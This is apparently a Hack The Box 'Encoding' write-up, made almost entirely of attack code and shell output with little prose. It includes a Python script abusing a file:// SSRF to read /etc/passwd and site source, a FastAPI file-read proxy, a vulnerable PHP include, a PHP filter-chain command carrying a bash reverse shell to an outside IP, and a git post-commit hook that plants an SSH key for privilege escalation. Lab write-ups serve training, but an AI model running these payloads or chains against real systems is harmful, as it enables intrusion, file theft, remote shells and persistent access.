HTB：Encoding

import requests

def get_file(file):
    data = {
        'action': 'str2hex',
        'file_url': f"file://{file}"
    }
    http_proxy = {'http': 'http://127.0.0.1:8080'}
    response = requests.post('http://api.haxtables.htb/v3/tools/string/index.php', json=data,proxies=http_proxy)
    return response.json()["data"]

def hex2str(data):
    json_data = {
    'action': 'hex2str',
    'data': f'{data}',
    }
    http_proxy = {'http': 'http://127.0.0.1:8080'}
    response = requests.post('http://api.haxtables.htb/v3/tools/string/index.php', json=json_data,proxies=http_proxy)
    print(response.json()["data"])

file = "/etc/passwd"    # 改成对应地址
data = get_file(file)
hex2str(data)

files = ["/etc/passwd", "/var/www/html/index.php","/var/www/html/handler.php"]
for file in files:
    data = get_file(file)
    file_content = hex2str(data)
    file_name = file.split('/')[-1]
    print(file_name)
    with open(f'{file_name}', 'a') as f:
        f.write(file_content)

<?php
include_once '../api/utils.php';

if (isset($_FILES['data_file'])) {
    $is_file = true;
    $action = $_POST['action'];
    $uri_path = $_POST['uri_path'];
    $data = $_FILES['data_file']['tmp_name'];

} else {
    $is_file = false;
    $jsondata = json_decode(file_get_contents('php://input'), true);
    $action = $jsondata['action'];
    $data = $jsondata['data'];
    $uri_path = $jsondata['uri_path'];

    if ( empty($jsondata) || !array_key_exists('action', $jsondata) || !array_key_exists('uri_path', $jsondata)) 
    {
        echo jsonify(['message' => 'Insufficient parameters!']);
        // echo jsonify(['message' => file_get_contents('php://input')]);

    }

}

$response = make_api_call($action, $data, $uri_path, $is_file);
echo $response;

?>

import requests
from fastapi import FastAPI, Response, Request
from requests import get
import httpx
import json
import binascii

app = FastAPI()

@app.get('/{path:path}')
async def get_file(request: Request, response: Response):
    path = request.url.path[1:]
    print(path)
    send_uri = 'http://api.haxtables.htb/v3/tools/string/index.php'
    data = {
        'action': 'str2hex',
        'file_url': f"file:///{path}"
    }
    async with httpx.AsyncClient() as client:
        proxy = await client.post('http://api.haxtables.htb/v3/tools/string/index.php', json=data)
    body = binascii.unhexlify(json.loads(proxy.content)['data'])
    response.body = body
    response.status_code = proxy.status_code
    return response

<?php

include_once 'utils.php';

if (isset($_GET['page'])) {
    $page = $_GET['page'];
    include($page);

} else {
    echo jsonify(['message' => 'No page specified!']);
}

?>

 $url = 'http://api.haxtables.htb' . $uri_path . '/index.php';

python php_filter_chain_generator.py  --chain '<?php system("bash -c \"bash -i >& /dev/tcp/10.10.14.37/2333 0>&1 \""); ?>'

www-data@encoding:~$ sudo -l 
sudo -l
Matching Defaults entries for www-data on encoding:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User www-data may run the following commands on encoding:
    (svc) NOPASSWD: /var/www/image/scripts/git-commit.sh

#!/bin/bash

u=$(/usr/bin/git --git-dir=/var/www/image/.git  --work-tree=/var/www/image ls-files  -o --exclude-standard)

if [[ $u ]]; then
        /usr/bin/git --git-dir=/var/www/image/.git  --work-tree=/var/www/image add -A
else
        /usr/bin/git --git-dir=/var/www/image/.git  --work-tree=/var/www/image commit -m "Commited from API!" --author="james <james@haxtables.htb>"  --no-verify
fi

user::rwx
user:www-data:rwx
group::r-x
mask::rwx
other::r-x

echo -e 'mkdir -p /home/svc/.ssh\necho "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILLhHmaOAjmhtwqsT4hfOlcO1WiZFYbyoAAxsYb+EzkV me@htb" >> /home/svc/.ssh/authorized_keys\nchmod 600 /home/svc/.ssh/authorized_keys' | tee .git/hooks/post-commit

svc@encoding:~$ sudo -l
sudo -l
Matching Defaults entries for svc on encoding:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User svc may run the following commands on encoding:
    (root) NOPASSWD: /usr/bin/systemctl restart